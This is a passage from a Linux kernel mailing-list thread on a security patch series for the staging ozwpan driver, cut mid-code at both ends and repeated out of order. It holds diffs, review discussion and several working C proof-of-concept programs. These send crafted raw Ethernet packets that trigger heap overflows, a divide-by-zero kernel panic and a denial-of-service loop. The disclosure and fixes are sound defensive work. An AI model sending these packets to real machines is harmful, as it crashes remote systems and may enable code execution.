		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 35,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		}
	};

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_get_desc_rsp oz_get_desc_rsp;
	} __packed pwn_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(1)
		},
		.oz_elt = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_get_desc_rsp)
		},
		.oz_get_desc_rsp = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_GET_DESC_RSP,
			.req_id = 0,
			.offset = htole16(2),
			.total_size = htole16(1),
			.rcode = 0,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	usleep(300000);
	if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}

---
 drivers/staging/ozwpan/ozhcd.c   | 8 ++++----
 drivers/staging/ozwpan/ozusbif.h | 4 ++--
 2 files changed, 6 insertions(+), 6 deletions(-)

index 5ff4716..784b5ec 100644
@@ -746,8 +746,8 @@ void oz_hcd_pd_reset(void *hpd, void *hport)
 /*
  * Context: softirq
  */
-void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,
-			int length, int offset, int total_size)
+void oz_hcd_get_desc_cnf(void *hport, u8 req_id, u8 status, const u8 *desc,
+			u8 length, u16 offset, u16 total_size)
 {
 	struct oz_port *port = hport;
 	struct urb *urb;

@@ -759,8 +759,8 @@ void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,
 	if (!urb)
 		return;
 	if (status == 0) {
-		int copy_len;
-		int required_size = urb->transfer_buffer_length;
+		unsigned int copy_len;
+		unsigned int required_size = urb->transfer_buffer_length;
 
 		if (required_size > total_size)
 			required_size = total_size;

index 4249fa3..d2a6085 100644
@@ -29,8 +29,8 @@ void oz_usb_request_heartbeat(void *hpd);
 
 /* Confirmation functions.
  */
-void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status,
-	const u8 *desc, int length, int offset, int total_size);
+void oz_hcd_get_desc_cnf(void *hport, u8 req_id, u8 status,
+	const u8 *desc, u8 length, u16 offset, u16 total_size);
 void oz_hcd_control_cnf(void *hport, u8 req_id, u8 rcode,
 	const u8 *data, int data_len);
 

2.4.1

A network supplied parameter was not checked before division, leading to a divide-by-zero. Since this happens in the softirq path, it leads to a crash. A PoC follows below, which requires the ozprotocol.h file from this module.

=-=-=-=-=-=

#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>

#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"

static int hex2num(char c)

{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])

{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
		struct oz_elt oz_elt2;
		struct oz_multiple_fixed oz_multiple_fixed;
	} __packed packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 0,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		},
		.oz_elt2 = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_multiple_fixed)
		},
		.oz_multiple_fixed = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_USB_ENDPOINT_DATA,
			.endpoint = 0,
			.format = OZ_DATA_F_MULTIPLE_FIXED,
			.unit_size = 0,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}

---
 drivers/staging/ozwpan/ozusbsvc1.c | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

index 35198b9..8552053 100644
@@ -326,7 +326,10 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,
 			struct oz_multiple_fixed *body =
 				(struct oz_multiple_fixed *)data_hdr;
 			u8 *data = body->data;
-			int n = (len - sizeof(struct oz_multiple_fixed)+1)
+			int n;
+			if (!body->unit_size)
+				break;
+			n = (len - sizeof(struct oz_multiple_fixed)+1)
 				/ body->unit_size;
 			while (n--) {
 				oz_hcd_data_ind(usb_ctx->hport, body->endpoint,

2.4.1

The subtraction here was using a signed integer and did not have any bounds checking at all. This commit adds proper bounds checking, made easy by use of an unsigned integer. This way, a single packet won't be able to remotely trigger a massive loop, locking up the system for a considerable amount of time. A PoC follows below, which requires ozprotocol.h from this module.

=-=-=-=-=-=

#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>

#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"

static int hex2num(char c)

{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])

{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
		struct oz_elt oz_elt2;
		struct oz_multiple_fixed oz_multiple_fixed;
	} __packed packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 0,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		},
		.oz_elt2 = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_multiple_fixed) - 3
		},
		.oz_multiple_fixed = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_USB_ENDPOINT_DATA,
			.endpoint = 0,
			.format = OZ_DATA_F_MULTIPLE_FIXED,
			.unit_size = 1,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}

---
 drivers/staging/ozwpan/ozusbsvc1.c | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

index 8552053..1bde6aa 100644
@@ -326,11 +326,13 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,
 			struct oz_multiple_fixed *body =
 				(struct oz_multiple_fixed *)data_hdr;
 			u8 *data = body->data;
-			int n;
+			unsigned int n;
 			if (!body->unit_size)
 				break;
 			n = (len - sizeof(struct oz_multiple_fixed)+1)
 				/ body->unit_size;
+			if (n > len / body->unit_size)
+				break;
 			while (n--) {
 				oz_hcd_data_ind(usb_ctx->hport, body->endpoint,
 					data, body->unit_size);

2.4.1

I do indeed. It seems like asking "did it overflow?" is more straight-forward and easier to read than trying to come up with the necessary conditions to check for "will it overflow?". Personal preference, I guess.

It's really not simpler to understand though. Also future static checkers will complain that subtracting from a user variable and you might underflow. I am updating my static checker to detect these. Also overflow and truncate might not be the right fix, maybe it's better to just drop the invalid request (patch 2/4).

What's going on with the mailing list? We seem to be losing people from the CC. I deliberately added Shigekatsu Tateno, and it says he was on the CC in my outbox but now he isn't.

Maybe we should just delete these ozwpan drivers entirely... They were merged when Ozmodevices was its own company and I don't think anyone is working on them any more.

regards,
dan carpenter

Greg - do you want me to resubmit a v3 for this, or does it not really matter and we can address this in another series? Personally, I'm erring on the side of wanting to get *something* merged sooner, rather than doing a v3.

The driver is most certainly still in widespread use. I'd caution against dropping it from the tree entirely.

The maintainer was changed just last year with this commit, when Shigekatsu Tateno became maintainer instead of Rupesh Gujare:

commit 96747a8f4e7d187f236ad392d86a37a4d1ba0b32

Author: Rupesh Gujare <[email protected]>
Date:   Mon May 19 15:17:30 2014 +0100

staging: ozwpan: Change Maintainer

I will be not able to work on ozwpan driver anymore. Remove my name & add Tateno as maintainer.

I'd prefer to get it right, there is no rush, these are staging drivers that no distro enables by default. Staging drivers are known to be full of all sorts of crap, including issues like this, that's why they are in the staging directory.

thanks,

greg k-h

This is v3 for this patch series, enhancing readability.

The ozwpan driver accepts network packets, parses them, and converts them into various USB functionality. There are numerous security vulnerabilities in the handling of these packets. Two of them result in a memcpy(kernel_buffer, network_packet, -length), one of them is a divide-by-zero, and one of them is a loop that decrements -1 until it's zero.

I've written a very simple proof-of-concept for each one of these vulnerabilities to aid with detecting and fixing them. The general operation of each proof-of-concept code is:

- Load the module with:

    # insmod ozwpan.ko g_net_dev=eth0
  - Compile the PoC with ozprotocol.h from the kernel tree:
    $ cp /path/to/linux/drivers/staging/ozwpan/ozprotocol.h ./
    $ gcc ./poc.c -o ./poc
  - Run the PoC:
    # ./poc eth0 [mac-address]

These PoCs should also be useful to the maintainers for testing out constructing and sending various other types of malformed packets against which this driver should be hardened.

Please assign CVEs for these vulnerabilities. I believe the first two patches of this set can receive one CVE for both, and the remaining two can receive one CVE each.

On a slightly related note, there are several other vulnerabilities in this driver that are worth looking into. When ozwpan receives a packet, it casts the packet into a variety of different structs, based on the value of type and length parameters inside the packet. When making these casts, and when reading bytes based on this length parameter, the actual length of the packet in the socket buffer is never actually consulted. As such, it's very likely that a packet could be sent that results in the kernel reading memory in adjacent buffers, resulting in an information leak, or from unpaged addresses, resulting in a crash. In the former case, it may be possible with certain message types to actually send these leaked adjacent bytes back to the sender of the packet. So, I'd highly recommend the maintainers of this driver go branch-by-branch from the initial rx function, adding checks to ensure all reads and casts are within the bounds of the socket buffer.

Jason A. Donenfeld (4):
ozwpan: Use proper check to prevent heap overflow
ozwpan: Use unsigned ints to prevent heap overflow
ozwpan: divide-by-zero leading to panic
ozwpan: unchecked signed subtraction leads to DoS

 drivers/staging/ozwpan/ozhcd.c     |  8 ++++----
 drivers/staging/ozwpan/ozusbif.h   |  4 ++--
 drivers/staging/ozwpan/ozusbsvc1.c | 18 ++++++++++++++----
 3 files changed, 20 insertions(+), 10 deletions(-)

2.4.1

Since elt->length is a u8, we can make this variable a u8. Then we can do proper bounds checking more easily. Without this, a potentially negative value is passed to the memcpy inside oz_hcd_get_desc_cnf, resulting in a remotely exploitable heap overflow with network supplied data.

This could result in remote code execution. A PoC which obtains DoS follows below. It requires the ozprotocol.h file from this module.

=-=-=-=-=-=

#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>

#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"

static int hex2num(char c)

{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])

{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
	} __packed connect_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 35,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		}
	};

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_get_desc_rsp oz_get_desc_rsp;
	} __packed pwn_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(1)
		},
		.oz_elt = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_get_desc_rsp) - 2
		},
		.oz_get_desc_rsp = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_GET_DESC_RSP,
			.req_id = 0,
			.offset = htole16(0),
			.total_size = htole16(0),
			.rcode = 0,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	usleep(300000);
	if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}

---
 drivers/staging/ozwpan/ozusbsvc1.c | 13 +++++++++----
 1 file changed, 9 insertions(+), 4 deletions(-)

index d434d8c..b573ad3 100644
@@ -390,10 +390,15 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)
 	case OZ_GET_DESC_RSP: {
 			struct oz_get_desc_rsp *body =
 				(struct oz_get_desc_rsp *)usb_hdr;
-			int data_len = elt->length -
-					sizeof(struct oz_get_desc_rsp) + 1;
-			u16 offs = le16_to_cpu(get_unaligned(&body->offset));
-			u16 total_size =
+			u16 offs, total_size;
+			u8 data_len;
+
+			if (elt->length < sizeof(struct oz_get_desc_rsp) - 1)
+				break;
+			data_len = elt->length -
+					(sizeof(struct oz_get_desc_rsp) - 1);
+			offs = le16_to_cpu(get_unaligned(&body->offset));
+			total_size =
 				le16_to_cpu(get_unaligned(&body->total_size));
 			oz_dbg(ON, "USB_REQ_GET_DESCRIPTOR - cnf\n");
 			oz_hcd_get_desc_cnf(usb_ctx->hport, body->req_id,

2.4.2

Hi,

I would say that it is because part of the expression has been placed inside parentheses:

    a - b + 1 == a - (b - 1)

Guess it makes the decision logic slightly more readable.

Frans

Oh. Duh. Of course.

regards,
dan carpenter

Acked for the rest of the set too?

Yes. Thanks.

regards,
dan carpenter

Yes, exactly this. It's so that the bounding check conditional prior looks identical to the actual subtraction, making it much easier to read and verify.

Using signed integers, the subtraction between required_size and offset could wind up being negative, resulting in a memcpy into a heap buffer with a negative length, resulting in huge amounts of network-supplied data being copied into the heap, which could potentially lead to remote code execution.. This is remotely triggerable with a magic packet. A PoC which obtains DoS follows below. It requires the ozprotocol.h file from this module.

=-=-=-=-=-=

#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>

#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"

static int hex2num(char c)

{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])

{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
	} __packed connect_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 35,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		}
	};

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_get_desc_rsp oz_get_desc_rsp;
	} __packed pwn_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(1)
		},
		.oz_elt = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_get_desc_rsp)
		},
		.oz_get_desc_rsp = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_GET_DESC_RSP,
			.req_id = 0,
			.offset = htole16(2),
			.total_size = htole16(1),
			.rcode = 0,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	usleep(300000);
	if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}

---
 drivers/staging/ozwpan/ozhcd.c   | 8 ++++----
 drivers/staging/ozwpan/ozusbif.h | 4 ++--
 2 files changed, 6 insertions(+), 6 deletions(-)

index 5ff4716..784b5ec 100644
@@ -746,8 +746,8 @@ void oz_hcd_pd_reset(void *hpd, void *hport)
 /*
  * Context: softirq
  */
-void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,
-			int length, int offset, int total_size)
+void oz_hcd_get_desc_cnf(void *hport, u8 req_id, u8 status, const u8 *desc,
+			u8 length, u16 offset, u16 total_size)
 {
 	struct oz_port *port = hport;
 	struct urb *urb;

@@ -759,8 +759,8 @@ void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,
 	if (!urb)
 		return;
 	if (status == 0) {
-		int copy_len;
-		int required_size = urb->transfer_buffer_length;
+		unsigned int copy_len;
+		unsigned int required_size = urb->transfer_buffer_length;
 
 		if (required_size > total_size)
 			required_size = total_size;

index 4249fa3..d2a6085 100644
@@ -29,8 +29,8 @@ void oz_usb_request_heartbeat(void *hpd);
 
 /* Confirmation functions.
  */
-void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status,
-	const u8 *desc, int length, int offset, int total_size);
+void oz_hcd_get_desc_cnf(void *hport, u8 req_id, u8 status,
+	const u8 *desc, u8 length, u16 offset, u16 total_size);
 void oz_hcd_control_cnf(void *hport, u8 req_id, u8 rcode,
 	const u8 *data, int data_len);
 

2.4.2

A network supplied parameter was not checked before division, leading to a divide-by-zero. Since this happens in the softirq path, it leads to a crash. A PoC follows below, which requires the ozprotocol.h file from this module.

=-=-=-=-=-=

#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>

#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"

static int hex2num(char c)

{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
